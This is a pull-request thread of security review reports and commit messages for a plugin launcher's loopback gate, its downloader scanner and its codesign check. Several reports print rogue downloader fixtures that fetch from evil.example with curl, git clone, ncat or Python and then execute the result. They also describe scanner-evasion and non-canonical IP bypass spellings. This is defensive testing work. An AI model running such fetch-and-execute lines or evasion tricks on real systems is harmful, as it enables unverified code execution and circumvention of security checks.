policy settings too.

Not addressed

  • no-unverified-download.test.sh matches spellings rather than the property; two lenses
    reported it, one says it wrote rogue downloaders that pass. I have not reproduced that
    and have not fixed it — it is credible on inspection and should be treated as open.
  • The %-truncation reports are real at the policy level but currently unreachable
    through either entry point (URLComponents and URL(string:) both refuse those hosts
    first). Worth fixing at the policy since the parsers in front of it can change.
  • The round-3 HIGHs remain open: auth token in argv, hook failure messages going to a
    channel the user may not see, .unreadable staleness with no coverage, a user-supplied
    --settings landing after ours, codesign -R omitting the Developer ID marker OIDs.

Note on round 4's coverage

It ran 4 of 6 — Codex and the Devil's Advocate both died on API errors. The
adversarial pass was the reviewer tasked with auditing whether this round's tests can
fail, and it never ran; two lenses found it anyway. Read the round as "at least this
much", and note that the not-addressed list above includes a finding nobody adversarially
challenged.

… holds (#2)

Both files still said the gate parses addresses rather than matching spellings. Round 4
falsified that sentence with a working bypass, and leaving it would have been worse than
leaving nothing: the same sentence, added one round earlier, is why the octal defect was
harder to find than the string-prefix defect it replaced — a reader checking whether
spellings were handled found an assurance where a check should have been.

What holds is narrower and checkable, so that is what is written: the host must be
canonical, verified by printing the parsed address back and requiring equality. Both
failures are named, with the parser disagreement spelled out, and CLAUDE.md carries an
explicit instruction not to re-broaden the claim.

Also corrected: `--settings` "outranks user settings" appears in both files, and managed
MDM policy settings sit above command-line arguments. On a managed Mac #2715 is not worked
around and the gate verified an address the session does not use. CLAUDE.md notes that
five such overstatements had to be fixed at once, since the pattern is the thing to catch,
not the sentence.

CLAUDE.md's "Write the test so it can fail" section gains the two round-4 lessons, both
found in the tests written for that very section: a skip is not a pass (hence
REQUIRE_FULL_SUITE), and a test that constructs a fixture must assert the fixture has the
property it exists to have.

Refs #2
Round 4 reported that this scanner matched spellings rather than the property, and one
lens said it had written rogue downloaders that passed. My round-4 report listed it as
not reproduced and open. Reproducing it took one attempt:

    python3 -c "…urlretrieve…" https://example.com/payload "$HOME/bin/evil3"
    chmod 755 "$HOME/bin/evil3"
    "$HOME/bin/evil3" "$@"

No `curl`, no `chmod +x`, no `exec "$BINARY"`. Three clauses, all walked around, doing
exactly what the round-2 CRITICAL was filed about — and the scanner reported 3 passed, 0
failed, exit 0.

Two earlier rogues were caught only by accident, which is its own signal: one matched
because `nscurl` happens to contain `curl`, the other because it used `chmod +x` when it
could as easily have used `chmod 755`. Each evaded one clause and was caught by the other
by luck.

The rule is now inverted. Exactly one file may fetch, exactly one may verify, and every
other script under plugin/ must be free of network access and of running anything out of
the install directory — so a new script is a failure until it is deliberately permitted or
written to delegate. Enumerating violations can always be walked around; enumerating
permitted files cannot.

All three rogues now fail, each for the right reason, and the previously-passing one fails
too. Note rogue1 evades the network pattern (it builds the string as "cu""rl") and is
caught by the second clause instead — evading one rule no longer means passing.

The maintenance cost is that a new fetch mechanism must be added to the pattern. That is
the right cost: the alternative is a scanner that silently stops covering whatever gets
invented next.

CLAUDE.md records the failed version alongside the working one, because "assert the
property" was already written there and was not, by itself, enough to get this right.

Refs #2
@kiki830621

Copy link
Copy Markdown
Member Author

Verify Report — PR #7 (round 5, DEGRADED 1/6)

Engine

pai-ensemble 2.20.0, opus. 1 of 6 reviewers completed. All four lenses and the
Codex leg errored; only the Devil's Advocate finished. 2h14m, 1.67M subagent tokens.

Freshness: FROZEN_SHA = bc2ec30 == PR head, 3714-line diff.

This is the thinnest coverage of any round — and it returned three HIGHs, all saying the
round-5 fixes do not hold. I reproduced every one. Two of them I would not have found
without it.

Aggregate

FAIL — 3 HIGH, all confirmed.


H1 — The allowlist is not an allowlist, and two rogues are sitting in the tree right now

The scanner reports 6 passed, 0 failed with these two files present in plugin/:

$ cat plugin/hooks/zz-rogue-install          # no .sh extension
curl -sL https://evil.example/payload -o "$HOME/bin/evil1"
chmod +x "$HOME/bin/evil1"
exec "$HOME/bin/evil1" "$@"

That is the verbatim round-2 CRITICAL, and the scanner never even enumerates it:
find "$PLUGIN" -type f -name '*.sh'. hooks.json's command field takes any
executable path, so an extensionless hook is a real surface, not a hypothetical.

$ cat plugin/hooks/zz-rogue2.sh
D="$HOME/bin"
git clone --depth 1 https://evil.example/p.git "$D/p"
ncat evil.example 443 > "$D/evil2"
chmod 755 "$D/evil2"; eval "$D/evil2" "$@"

git clone is not in my network pattern at all; ncat does not match nc ; and
"$D/evil2" contains no bin/ literal, so the second clause misses too. Verdict printed:
"neither fetches nor runs an installed binary."

The reviewer's argument is the part that matters. CLAUDE.md now says "Enumerate what
is permitted, not what is forbidden — a list of violations can always be walked around, a
list of permitted files cannot."
My scanner does not enumerate permitted files. It is
three denylists stacked: a filename-glob denylist, a mechanism-spelling denylist, and a
path-spelling denylist. Its own header admits "a new fetch mechanism has to be added to
the pattern"
— which is the definition of a denylist.

So this is the third time I have written an over-broad assurance into CLAUDE.md in the
same commit as code that does not deliver it. The sentence I added last round —
"Do not write 'this removes the whole class' here again" — I then violated in the
adjacent section.

It also found the authorization is by basename: case "$base" means any
plugin/**/fetch-release-binary.sh gets "the one permitted downloader" privilege, and the
"must verify" test is grep -q "$VERIFIER", which a comment satisfies. That is round 2's
original defect — "a grep for the policy returned one line, a comment mentioning it"
reproduced inside the check written to prevent it.

Where I think the reviewer overstated: it says the RED-first claim is false for the
allowlist because the rogue files postdate the commit. I did run the new allowlist against
three rogues before committing and showed 3 FAILs. What is true, and is the better version
of the criticism, is that I never committed a negative fixture — so the scanner has no
case that must fail, and a regression in it is silent. That is the structural defect, and
it is the one to fix.

H2 — The IPv6 canonical guard is dead code, and the octal defect survives through it

Mutation-tested: deleting the entire re-parse-and-compare block leaves 85/85 green.

inet_pton(inet_ntop(x)) == x is a tautology. I proved it in C across 11 spellings —
every one reparse_same=YES. So parseCanonicalIPv6 is exactly inet_pton, and the v6
side has no canonicalization at all.

Which means the defect I fixed this round is still live by another route:

$ omlx-claude --host 0127.13.37.42          → Refusing (non-loopback)     ← fixed
$ omlx-claude --host ::ffff:0127.13.37.42   → passed the gate             ← NOT fixed
$ omlx-claude --host ::ffff:127.0.0.01      → passed the gate

::ffff:0127.13.37.42 parses to bytes 127.13.37.42, isIPv6Loopback sees bytes[12] == 127, and says loopback.

Node rejects that URL, so it is not directly exploitable through Claude Code today — but
the gate is asserting "this is loopback" about a non-canonical address, which is precisely
the property claimed and not delivered. And relying on a downstream parser happening to
reject it is the same reasoning error that produced the original octal bug: last round the
preflight "worked" only because URLSession happened to agree with inet_pton.

The single v6 fixture, ::0001:0000:0000:0000:0001, is refused for the wrong reason — it
resolves to ::1:0:0:0:1, which simply is not loopback. Delete the whole canonical
mechanism and that test stays green.

H3 — The managed-settings warning is documented in four places and does not exist

unwinnableConflicts(userSettings: ["env": ["ANTHROPIC_BASE_URL": "https://policy.corp"]],
                    authToken: .known("t"))   → []

ANTHROPIC_BASE_URL is not in reportableKeys — that list is the six model-dependent
keys plus ANTHROPIC_AUTH_TOKEN. So no scope, managed included, produces a warning for
it. testKeysWeDoOverrideAreNotReportedAsUnwinnable pins that as correct.

Meanwhile four places say otherwise, including the --help text a user actually reads:

  • README.md:78 — "The command warns when it can see such a key"
  • Help.swift:72 — "this command warns when it can see such a key"
  • CLAUDE.md:44 — "Those paths are scanned so the conflict is at least named"
  • LaunchSettings.swift:21 — "a conflict there is named — the one scope we genuinely
    cannot win is the one where silence is least acceptable"

This is a loopback finding, not a docs nit. CLAUDE.md states the consequence itself:
on a managed Mac, #2715 is not worked around and "the loopback gate will have verified an
address the session does not use."
The gate greenlights 127.0.0.1, the session leaves
for the policy endpoint, bearer token included. The only claimed mitigation is "at least
it says so", and it does not.

And it cannot say so as currently designed: loadUserSettings merges every scope into one
dictionary, so unwinnableConflicts cannot tell a user-scope key (which we win) from a
managed one (which we lose). Reporting ANTHROPIC_BASE_URL unconditionally would false-
positive on every ordinary user. Managed scope has to be reported separately.

The new managed paths have zero coverage: deleting both lines leaves 85/85 green.
testSettingsScopesCoverMoreThanTheGlobalFile asserts only the three non-managed paths.
Second instance this round of a test not covering the fix it was written for.


Process

1 of 6. Five agents errored. No cross-model pass, no lens coverage at all — every
finding here comes from the adversarial reviewer alone, which also means nothing in this
report was independently corroborated or challenged
. Read it as a floor.

That the thinnest round produced three confirmed HIGHs, two of which I could not have
found by re-reading my own work, is the useful datum.

Verdict

Do not merge. Five rounds, five times the previous round's fix did not establish its
property — and this round the failure is in the two mechanisms specifically built to stop
that: a scanner with no case that must fail, and a canonical-form guard that is a
tautology.

…edded IPv4, report managed scope (#2)

Round 5 ran 1 of 6 — five agents errored, only the adversarial reviewer finished — and
returned three HIGHs. All three reproduced. Two I could not have found by re-reading my
own work.

**Two rogue downloaders were sitting in plugin/ and the scanner said 6 passed, 0 failed.**
One was a verbatim copy of the round-2 CRITICAL — curl, chmod +x, exec — and was never
even enumerated, because `find` matched `*.sh` and the file had no suffix while
hooks.json accepts any executable path. A background security review independently
flagged both as CRITICAL. They are out of plugin/ entirely now, and they are the fixtures.

The scanner called itself an allowlist and was three denylists: a filename glob, a
mechanism regex, a path regex. Its own header admitted a new fetch mechanism would have to
be added to the pattern, which is the definition of the thing it claimed not to be. It also
authorized by basename, so any file named fetch-release-binary.sh anywhere under plugin/
inherited the download privilege, and the "must call the verifier" check was a grep a
comment satisfied — round 2's original defect, reproduced inside the check written to
prevent it.

Version 3 allowlists repo-relative paths: every regular file under plugin/ is enumerated
whatever it is called, and one not on the list fails regardless of contents. And it has
cases that must fail — four fixtures, each of which a previous version reported clean.
Deleting the allowlist clause turns all four red, which is the property versions 1 and 2
never had: they only asserted that compliant files were compliant, so blanking a pattern
left them green.

**The v6 canonical guard was a tautology.** inet_pton(inet_ntop(x)) == x always holds —
verified in C across eleven spellings — so the re-parse-and-compare block rejected nothing
and v6 had no canonicalization at all. Deleting the whole block left 85/85 green. The octal
defect fixed last round therefore survived: `::ffff:0127.13.37.42` reached isIPv6Loopback
as bytes 127.13.37.42 and was called loopback. Node rejects that URL, which is not why it
must be refused here — depending on a downstream parser to reject an address is the same
reasoning that produced the original octal bug, where the preflight "worked" only because
URLSession happened to agree with inet_pton. Embedded IPv4 literals are now canonicalized
directly, and the fix is mutation-tested: removing the guard turns the new test red.

**The managed-settings warning was documented in four places and did not exist.**
ANTHROPIC_BASE_URL was absent from reportableKeys, and a test pinned that as correct. It
could not simply be added: loadUserSettings merged every scope into one dictionary, so a
merged key cannot be attributed, and warning about a key we normally win would have
false-positived on every ordinary user. Managed scope is now read separately by
loadManagedSettings and reported by managedConflicts, which deliberately includes the keys
we would otherwise win. The four claims are corrected to describe what the code does, and
the launcher prints the warning.

Where I think the reviewer overstated: it said the RED-first claim was false for the
allowlist because the rogue files postdate the commit. I did run the new scanner against
three rogues and showed 3 FAILs before committing. The accurate version of the criticism is
that no negative fixture was committed, so the scanner had no case that must fail — which
is the defect, and is fixed.

90 Swift tests, 16 shell assertions.

Refs #2
@kiki830621

Copy link
Copy Markdown
Member Author

Round-5 findings addressed — 18c9138

All three reproduced first. 90 Swift tests, 16 shell assertions.

The two rogue files, and the security review

They were untracked probe artifacts left in plugin/hooks/ — the shipped directory. A
background security review independently flagged both as CRITICAL while I was working, with
the same remedy I was reaching for: get them out of plugin/, and keep them as fixtures
somewhere that cannot ship. Done, and they are now load-bearing rather than debris.

H1 — the scanner is version 3, and this time it has cases that must fail

Version 2 called itself an allowlist and was three denylists: a *.sh glob, a mechanism
regex, a path regex. Its own header admitted a new fetch mechanism would have to be added
to the pattern — the definition of the thing it claimed not to be. It also authorized by
basename, so any fetch-release-binary.sh anywhere under plugin/ inherited the
download privilege, and "must call the verifier" was a grep a comment satisfied.

Version 3 allowlists repo-relative paths. Every regular file under plugin/ is
enumerated whatever it is called; one not on the list fails regardless of contents.

no unverified downloads in plugin/
  ok — bin/fetch-release-binary.sh is the permitted downloader and runs the verifier
  ok — bin/omlx-connector-wrapper.sh delegates to the fetcher
  ok — bin/verify-download.sh is the permitted verifier
  ok — hooks/session-start.sh delegates to the fetcher

adversarial fixtures (each must be refused)
  ok — fixture rogue-alt-mechanisms.sh is refused
  ok — fixture rogue-basename-privilege/fetch-release-binary.sh is refused
  ok — fixture rogue-no-extension is refused
  ok — fixture rogue-python-urlretrieve.sh is refused

The second half is what versions 1 and 2 never had. They only asserted that compliant
files were compliant, so blanking a pattern left them green. Verified by deleting the
allowlist clause — all four fixtures go red:

FAIL — fixture rogue-no-extension was NOT refused — the scanner would miss it in plugin/
… 4 passed, 4 failed

H2 — the v6 guard was a tautology, and the octal defect survived through it

inet_pton(inet_ntop(x)) == x always holds — proved in C across eleven spellings — so the
re-parse-and-compare block rejected nothing and v6 had no canonicalization at all.
Deleting the entire block left 85/85 green.

$ omlx-claude --host ::ffff:0127.13.37.42   → Refusing (non-loopback)   ← was: passed
$ omlx-claude --host ::ffff:127.0.0.1       → reaches the server        ← unaffected
$ omlx-claude --host 0127.0.0.1             → Refusing

Embedded IPv4 literals are canonicalized directly now. Mutation-tested: removing the
guard turns the new test red — which is the check I failed to run on the version this
replaces.

Node rejects [::ffff:0127.13.37.42], and that is deliberately not the reason it is
refused here. Depending on a downstream parser is the same reasoning that produced the
original octal bug, where the preflight "worked" only because URLSession happened to agree
with inet_pton.

H3 — the managed warning now exists

It could not simply be added to reportableKeys: loadUserSettings merged every scope
into one dictionary, so a merged key cannot be attributed, and warning about
ANTHROPIC_BASE_URL — a key we normally win — would have false-positived on every ordinary
user. Appending the managed paths to the mergeable list, which is what I did last round,
made the promise unkeepable rather than merely unkept.

Managed scope is read separately (loadManagedSettings) and reported separately
(managedConflicts), including the keys we would otherwise win. The launcher prints it,
and the four documentation claims now describe what the code does — including that on a
managed Mac the loopback check may have verified an address the session does not use.

Where I think the reviewer overstated

It said my RED-first claim was false for the allowlist because the rogue files postdate the
commit. I did run the new scanner against three rogues and show 3 FAILs before committing.
The accurate version — and the one worth acting on — is that no negative fixture was
committed
, so the scanner had no case that must fail. That is the defect, and it is fixed.

Still open

codesign -R omits the Developer ID marker OIDs and checks neither notarization nor
revocation. The auth token still travels in argv (flagged rounds 1, 3, 4, 5). The
.unreadable staleness branch still has no coverage. A user-supplied --settings still
lands after ours.

Round 5 saw 1 of 6 reviewers, so nothing in it was corroborated — and the four lenses have
never seen this diff.

@kiki830621

Copy link
Copy Markdown
Member Author

Verify Report — PR #7 (round 6, full 6/6)

Posted a shift late: GitHub returned 503 on both the GraphQL and REST paths when this was
first written, and the scratchpad holding it did not survive the night. Regenerated from the
run's findings; the three reproductions below were performed against 18c9138 at the time
and are quoted from those runs.

Engine

pai-ensemble 2.20.0, opus + Codex gpt-5.6-sol xhigh. 6/6 completed, 0 errors,
0 integrity findings
— the first clean run of the six. 47 minutes, 1.65M subagent tokens,
192 tool calls. Freshness: FROZEN_SHA = 18c9138 == PR head, 3976-line diff.

Aggregate

FAIL — 64 findings: 18 HIGH, 0 CRITICAL, 20 MEDIUM, 15 LOW, 11 INFO.

Per lens: requirements 18, logic 12, security 14, regression 10, codex 1, devil's advocate 2.

First round with no CRITICAL, and the loopback gate survived a dedicated attack from a
security lens that had five rounds of history telling it where to look. That trend is real:
4 CRITICAL → 1 → 0.

Ten of the eighteen HIGHs are about one file — the scanner I wrote to enforce the
property.
Four lenses reported that class independently.


The finding I would put first, because of what it is

I stripped the entire verification out of the permitted downloader, left one trailing
comment mentioning the verifier, and ran my own scanner against a copy of plugin/:

# fetch-release-binary.sh's verify block replaced with:
#   : "skipping checks"   # TODO: call verify-download.sh here one day

ok   — bin/fetch-release-binary.sh is the permitted downloader and runs the verifier
8 passed, 0 failed

The comment-stripper is grep -vE '^[[:space:]]*(#|$)' — it removes comments that start
a line. A trailing comment survives into the body and satisfies the clause.

The scanner's own comment, which I wrote, says:

must actually invoke the verifier by path, not merely mention its name — a grep for the
name is satisfied by a comment, which is round 2's original defect.

I wrote that sentence and then wrote the grep it describes. Round 2's original defect,
third recurrence, inside the check built to prevent it, on the line below a comment naming
it.

A reviewer demonstrated the same bypass one layer out: replace the fetcher call in
session-start.sh with curl … # instead of bin/fetch-release-binary.sh plus a
curl → chmod +x pair, and the scanner reports 8 passed / 0 failed on the verbatim round-2
CRITICAL sitting in plugin/hooks/.

The scanner's other HIGHs

Finding Lens
Three of four clauses have no must-fail case. Every fixture lands at plugin/hooks/<basename>, so the fetcher clause, the delegator clause and the data-shebang clause are never exercised in the failing direction. Mutation-verified: make any of the three always-true and the suite stays 8/0 requirements + logic
The four fixtures form one equivalence class. Each is refused because its path is unlisted; each would be refused identically if its body were empty. fixtures/README.md attributes each to a mechanism (git clone, ncat, chmod 755) that version 3 no longer inspects anywhere — the README describes version 2's reasons for version 3's tests requirements
hooks.json and .mcp.json are classified as data and checked only for a shebang — and their command fields are the two highest-power surfaces in the plugin. A command pointing outside plugin/ is never seen by an allowlist over plugin/ paths logic + security
Symlinks are missed. find -type f does not follow them, so a symlinked rogue ships with 8 passed / 0 failed security
in_list is a substring test over a space-joined string, so a path equal to two adjacent entries' concatenation is wrongly permitted logic
Emptying fixtures/ leaves the suite green — the must-fail half can be deleted without the suite noticing logic
Version 3 lost coverage version 2 had: an unverified download added inside an allowlisted file passes regression

The README finding is the one I would least have expected and the most instructive: I kept
a document explaining why four fixtures defeat a scanner that no longer exists.

Three findings outside the scanner

codesign -R accepts an Apple Development certificate from the same team — reproduced
against the real verify-download.sh. The cert's subject.OU is the team ID, so the
requirement matches; OU does not distinguish certificate types, and Apple Development
certs are issued freely to anyone on a team and imply nothing about release. Verified both
ways:

current requirement with field.1.2.840.113635.100.6.1.13
Developer ID accepted accepted
Apple Development, same team accepted (wrong) refused

The managed-settings conflict is named but never enforced. The warning now exists —
that half of round 5's fix holds — but the managed value is not run through
LoopbackPolicy and the launch proceeds. On a managed Mac the gate greenlights 127.0.0.1,
prints a warning, and hands the session to the policy endpoint anyway. Also
loadManagedSettings is first-readable-file-wins, which does not match how Claude Code
resolves multiple managed paths, and only one of several documented delivery mechanisms is
covered.

The canonical refusal is misreported, and the remedy it prints would reopen the octal
hole
(devil's advocate). --host 0127.0.0.1 is refused as "non-loopback host" — but it
is not remote, it is a non-canonical spelling of a loopback address. The message then tells
the user to set OMLX_ALLOW_REMOTE=1, which would both admit genuinely remote hosts and
restore the round-4 bypass. The refusal is right; its explanation and its advice are both
wrong.

What was independently confirmed

For the first time, a claim of mine was verified rather than falsified. The devil's
advocate performed my v6 mutation itself:

Deleting the embedded-IPv4 guard flips ::ffff:0127.0.0.1 to true, so
testOctalDoesNotSurviveTheIPv4MappedRoute does go red. The author's mutation claim for
the embedded-v4 half is confirmed.

It also confirmed the allowlist-clause mutation, and split my round-5 rebuttal correctly:
the RED-first claim held for the one clause I tested, and the accurate criticism was the
missing negative fixture — which I fixed for one of four clauses.

Where it caught me over-claiming anyway: the same doc comment promises two guarantees —
canonical embedded IPv4 and "hex groups must be plain lowercase hex without an accidental
second interpretation". The second does not exist in code. ::0001 returns true; nothing
inspects hex groups. And the test that appears to cover it,
testNonCanonicalIPv6SpellingsAreRefused, is vacuous: ::0001:0000:0000:0000:0001 is
refused because it is not ::1, not because of any canonicalization, and it stays green
with the whole mechanism deleted.

Low security impact — v6 hex carries no octal reading — but it is a documented guarantee
that does not exist with a green test in front of it, which is round 5's finding class at
smaller scale.

Five-round deferrals

Still open, and multiple reviewers now say the deferral pattern outweighs the individual
defects: the auth token in argv (reproduced again — the launcher promotes an env-only secret
into ps for the whole session), the codesign OIDs (now upgraded from theoretical to
reproduced), .unreadable staleness with no coverage, and a user-supplied --settings
landing after ours undetected.

Verdict

Do not merge. 18 HIGH.

The trend is real and the loopback gate now survives targeted attack. But the enforcement
mechanism has become the problem: ten of eighteen HIGHs are in the scanner, and its central
clause fails to the same defect, for the third time, on the line below a comment describing
that defect.

…lause a failing case (#2)

Round 6 ran 6/6 clean and returned 18 HIGH, 0 CRITICAL. Ten of the eighteen were in the
scanner written to enforce the property. This addresses those, plus the certificate finding.

**The fetcher clause was satisfied by a trailing comment.** The comment-stripper was
`grep -vE '^[[:space:]]*(#|$)'`, which removes only comments that *start* a line. Stripping
all verification out of the permitted downloader and leaving

    : "skipping checks"   # TODO: call verify-download.sh here one day

produced `ok — is the permitted downloader and runs the verifier`, 8 passed / 0 failed. The
scanner's own comment, on the line above, says "a grep for the name is satisfied by a
comment, which is round 2's original defect". That defect, third recurrence, inside the
check built to prevent it.

Two changes rather than one, because they fail independently: the stripper now removes
trailing comments (a `#` opens one only at the start of a word, so `${x#y}` and `http://a#b`
survive, and over-stripping is the safe direction anyway), and the clause now requires an
invocation — `bash …/verify-download.sh` — rather than a mention.

**Three of four clauses had no case that must fail.** Every fixture was copied to
`plugin/hooks/<basename>`, so a fixture written for the fetcher clause landed on an unlisted
path and was refused for being unlisted. It passed while proving nothing — the failure mode
the adversarial reviewer predicted before finding it.

A fixture's path under fixtures/ is now where it installs under plugin/, and there is one
fixture per clause. Each was mutation-tested individually: make that clause always-true and
that fixture goes red.

One of those mutations first appeared to prove the fetcher clause still had no test. It had;
the `sed` had silently failed to match. A mutation that does not mutate looks exactly like a
clause with no coverage, so the mutation is now asserted before its result is read — the same
rule this repo already wrote down for fixtures, applied one level up.

**codesign accepted an Apple Development certificate from the same team.** `subject.OU` is
the team id on both certificate kinds, so OU says which team and never which kind. Apple
Development certs are issued to anyone on a team and live on developer laptops; accepting one
meant any team member's dev cert satisfied the release gate. The requirement now names the
Developer ID marker OID (1.2.840.113635.100.6.1.13).

Proven both directions: the new case fails against the old requirement and passes against
the new one, and the positive case — a genuinely Developer ID-signed binary — still passes,
so this is not another gate that refuses everything.

90 Swift tests, 20 shell assertions.

Refs #2
@kiki830621

Copy link
Copy Markdown
Member Author

Round-6 findings addressed — 6f23283

90 Swift tests, 20 shell assertions. The three items you asked for, all three done.

1. The scanner — two independent fixes, because they fail independently

The trailing comment. Stripping all verification out of the permitted downloader and
leaving : "skipping checks" # TODO: call verify-download.sh here one day produced
ok — runs the verifier, 8 passed / 0 failed. The stripper removed only comments that
start a line.

It now strips trailing ones (# opens a comment only at the start of a word, so ${x#y}
and http://a#b survive; over-stripping is the safe direction anyway), and the clause
requires an invocation — bash …/verify-download.sh — rather than a mention. Either alone
would have closed the reported hole; both are there because the second does not depend on
how accurate the first is.

Every clause now has a case that must fail. A fixture's path under fixtures/ is now
where it installs under plugin/. Version 3 dropped all of them at
plugin/hooks/<basename>, so a fixture written for the fetcher clause landed on an unlisted
path and was refused for being unlisted — passing while proving nothing, exactly as the
adversarial reviewer predicted before finding it.

adversarial fixtures (each must be refused)
  ok — fixture bin/fetch-release-binary.sh is refused      ← fetcher clause
  ok — fixture hooks/session-start.sh is refused           ← delegator clause
  ok — fixture hooks/hooks.json is refused                 ← data-shebang clause
  ok — fixture hooks/rogue-no-extension is refused         ← allowlist fallback
  ok — fixture hooks/rogue-alt-mechanisms.sh is refused
  ok — fixture hooks/rogue-python-urlretrieve.sh is refused
  10 passed, 0 failed

Each clause was mutated individually and its own fixture went red.

One of those mutations lied to me, and it is worth recording. The fetcher mutation first
reported that the clause still had no test — the sed had silently failed to match. A
mutation that does not mutate looks exactly like a clause with no coverage. Asserting the
mutation applied before reading its result is the same rule this repo already wrote down for
fixtures, one level up; without it I would have gone off to "fix" something that was not
broken.

2. codesign — the marker OID

Reproduced first: an Apple Development certificate from the same team passed. subject.OU
is the team id on both kinds, so OU says which team and never which kind — and Apple
Development certs are issued to anyone on the team and live on developer laptops.

The requirement now names 1.2.840.113635.100.6.1.13. Proven both directions:

old requirement new
Developer ID accepted accepted
Apple Development, same team accepted refused

The new test case fails against the old requirement (expected refuse, got pass) and the
positive case still passes — this is not another gate that refuses everything.

3. The deferrals now have their own issues

They had lived only in PR comments for five rounds, which is what several reviewers said
outweighed the individual defects. Filed so they survive this PR:

The fourth deferral was the codesign OIDs, fixed above rather than filed.

Still open from round 6

The parseCanonicalIPv6 doc comment promises a hex-group guarantee that does not exist in
code, with a vacuous test in front of it; the canonical refusal is reported as "non-loopback"
and the remedy it prints (OMLX_ALLOW_REMOTE=1) would reopen the round-4 hole; the managed
conflict is named but not enforced; in_list is a substring test; symlinks are not followed.

…clauses fixtures (#2)

The remaining round-6 findings.

**The refusal message was a documented path back into the round-4 defect.**
`--host 0127.0.0.1` was refused as a "non-loopback host" and the message told the user to
set OMLX_ALLOW_REMOTE=1. Doing so let it through — reproduced — so the remediation walked
the user into the octal bypass, with a green preflight against the real local server on the
way past. A refusal that advises its way around itself is worse than no refusal, because it
carries authority.

`LoopbackPolicy.classify` now returns `.loopback`, `.remote` or `.nonCanonical`, and the
opt-in covers only `.remote`. That is not a message fix wearing a code disguise: the opt-in
means "this other machine is mine", and nobody can assert that about an address that names
two, because they have not named one. The new message says to write the address canonically
and states that the opt-in does not apply.

Verified in all four directions: ambiguous refused with and without the opt-in, genuinely
remote still gated by it, loopback still reaching the server.

**A doc comment promised a guarantee the code did not provide, for the fourth time.**
parseCanonicalIPv6 claimed to check that "hex groups must be plain lowercase hex without an
accidental second interpretation". Nothing inspects hex groups. The test that appeared to
cover it was vacuous — `::0001:0000:0000:0000:0001` was refused for expanding to
::1:0:0:0:1, which is not ::1, and stayed green with the whole mechanism deleted.

Resolved by deleting the false half and pinning the real behaviour, not by adding the check:
an IPv6 hex group has no second reading, `0001` is 1 under every parser, and refusing leading
zeros there would repeat the over-strictness that once rejected 0:0:0:0:0:0:0:1. The comment
now says which guarantee exists, which does not, and that the vacuous test is why the gap
survived.

**The scanner's last two weaknesses, each with a fixture that proves it.**

- `in_list` was a substring test over a space-joined list, so a path equal to two adjacent
  entries joined by a space matched. The fixture is a file at
  `bin/omlx-connector-wrapper.sh hooks/session-start.sh` — treated as a delegator by the old
  form, at which point it only has to *mention* the fetcher while doing the round-2 CRITICAL.
- `find -type f` does not report a symlink as a file, so a symlinked rogue was invisible to
  the scan and perfectly executable at runtime. `-L` follows them; the fixture installs as a
  link rather than a copy.

The in_list fix initially had no fixture — restoring the substring form left all fixtures
green. That is the defect this suite exists to prevent, so the fixture came before the commit
rather than after the next review round.

92 Swift tests, 21 shell assertions.

Refs #2
…rning about it (#2)

The last round-6 finding. The managed-settings warning existed — round 5's fix held that
far — but the value was never judged and the launch proceeded. So on a managed Mac the gate
verified 127.0.0.1, printed a notice, and handed the session to the policy endpoint with the
bearer token. A warning about the invariant is not the invariant.

Managed settings cannot be overridden; they can be declined. `managedBaseURLVerdict` runs a
managed `ANTHROPIC_BASE_URL` through the same `LoopbackPolicy` the launcher applies to its
own inputs — ambiguous spellings included, for the same reason — and a non-loopback verdict
now fails the launch with a message that explains the address checked moments earlier is not
the address the session would use.

The message deliberately does not mention `OMLX_ALLOW_REMOTE`. That opt-in cannot override a
managed setting, so offering it would be the round-6 defect verbatim: a refusal that advises
its way around itself.

**A mutation exposed a gap worth recording rather than papering over.** Deleting the two
lines in main.swift that act on the verdict leaves the entire suite green — the decision
function is tested and mutation-proven, its call site is not, because main.swift execs. That
is the same finding shape one level down, and every guard in that file inherits it. CLAUDE.md
now says so under Testing notes, and the refusal's text is pinned by test since that much can
be checked: a message that went empty would still "work" while telling the user nothing.

96 Swift tests, 21 shell assertions. All six round-6 items in this pass are now addressed.

Refs #2
@kiki830621

Copy link
Copy Markdown
Member Author

Round-6 remainder addressed — 57121cf + this commit

96 Swift tests, 21 shell assertions.

The refusal message was a documented path back into the round-4 defect

--host 0127.0.0.1 was refused as a "non-loopback host" and told the user to set
OMLX_ALLOW_REMOTE=1. Reproduced: doing so let it through. The remediation walked the user
into the octal bypass, with a green preflight against the real local server on the way past.
A refusal that advises its way around itself is worse than no refusal — it carries authority.

LoopbackPolicy.classify now returns .loopback / .remote / .nonCanonical, and the
opt-in covers only .remote. Not a message fix in code disguise: the opt-in asserts this
other machine is mine
, which nobody can say about an address that names two.

--host 0127.0.0.1                    → Refusing … write it canonically; OMLX_ALLOW_REMOTE
                                       does not apply here
ALLOW_REMOTE=1 --host 0127.0.0.1     → still refused
ALLOW_REMOTE=1 --host gateway.corp   → permitted (opt-in still works)
--host 127.0.0.1                     → Available models:

A doc comment promised a guarantee the code did not provide — fourth time

parseCanonicalIPv6 claimed to check hex groups. Nothing does. The test in front of it was
vacuous: ::0001:0000:0000:0000:0001 was refused for expanding to ::1:0:0:0:1, which is
not ::1, and stayed green with the whole mechanism deleted.

Resolved by deleting the false half and pinning real behaviour rather than adding the check —
an IPv6 hex group has no second reading, 0001 is 1 under every parser, and refusing leading
zeros would repeat the over-strictness that once rejected 0:0:0:0:0:0:0:1.

The scanner's last two, each with a fixture that proves it

  • in_list was a substring test. The fixture is a file at
    bin/omlx-connector-wrapper.sh hooks/session-start.sh — the two delegator entries joined by
    a space. The old form treats it as a delegator, at which point it need only mention the
    fetcher while doing the round-2 CRITICAL.
  • Symlinks were invisible. find -type f does not report a link as a file. -L follows
    them; the fixture installs as a link rather than a copy.

The in_list fix initially had no fixture — restoring the substring form left everything
green. That is the defect this suite exists to prevent, so the fixture came before the commit
rather than after the next round.

The managed conflict is now enforced, not just named

The warning existed and the launch proceeded. managedBaseURLVerdict judges a managed
ANTHROPIC_BASE_URL with the same policy, and a non-loopback verdict fails the launch. The
message deliberately omits OMLX_ALLOW_REMOTE, which cannot override a managed setting —
offering it would be the finding above, verbatim.

One gap I am reporting rather than closing

Deleting the two lines in main.swift that act on that verdict leaves the whole suite
green
. The decision function is tested and mutation-proven; its call site is not, because
that file execs. Same finding shape, one level down, and every guard in main.swift inherits
it. CLAUDE.md now says so under Testing notes, and the refusal's text is pinned by test since
that much is checkable.

Also this pass

#8 #9 #10 filed for the deferrals; the trailing-comment bypass, per-clause fixtures and
the codesign marker OID landed in 6f23283.

Every round-6 HIGH I was able to act on is now addressed. The ensemble has not seen any of it.

…e one (#11)

